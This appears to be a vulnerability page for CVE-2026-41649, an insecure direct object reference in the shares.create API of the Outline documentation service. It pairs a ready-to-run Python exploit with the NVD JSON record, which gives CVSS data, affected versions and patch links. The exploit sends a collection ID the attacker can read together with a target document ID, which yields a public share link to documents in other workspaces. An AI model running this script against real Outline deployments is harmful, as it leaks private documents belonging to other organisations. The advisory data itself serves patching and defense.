CVE-2026-41649

import requests # Exploit for CVE-2026-41649 (Outline IDOR) # Attacker needs read access to at least one collection (collectionId) TARGET_URL = "https://outline.example.com" API_ENDPOINT = f"{TARGET_URL}/api/shares.create" AUTH_TOKEN = "Bearer <attacker_valid_jwt_token>" # Headers headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Payload exploiting the IDOR # collectionId: ID of a collection the attacker has access to # documentId: ID of the target document the attacker wants to steal payload = { "collectionId": "COL_12345", "documentId": "DOC_SECRET_999" } response = requests.post(API_ENDPOINT, json=payload, headers=headers) if response.status_code == 200: data = response.json() print("[+] Success! Share link created:") print(f" Share URL: {data['data']['url']}") print(f" Document ID: {data['data']['documentId']}") else: print(f"[-] Failed to create share. Status: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-41649", "sourceIdentifier": "[email protected]", "published": "2026-04-28T22:16:49.747", "lastModified": "2026-05-01T15:54:05.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outline is a service that allows for collaborative documentation. The `shares.create` API endpoint starting in version 0.86.0 and prior to version 1.7.0 has an insecure direct object reference.. When both `collectionId` and `documentId` are provided in the request, the authorization logic only checks access to the collection, completely ignoring the document. This allows an authenticated attacker to generate a valid public share link for any document on the platform, including documents belonging to other workspaces. The full document contents can then be retrieved via the `documents.info` endpoint. Version 1.7.0 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getoutline:outline:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.86.0", "versionEndExcluding": "1.7.0", "matchCriteriaId": "29EA0359-AC70-427C-A8E3-1367699EF11B"}]}]}], "references": [{"url": "https://github.com/outline/outline/commit/1b91a295e10f58a1088c54f533773788325ff460", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/outline/outline/releases/tag/v1.7.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/outline/outline/security/advisories/GHSA-23jj-rp48-w7q7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/outline/outline/security/advisories/GHSA-23jj-rp48-w7q7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}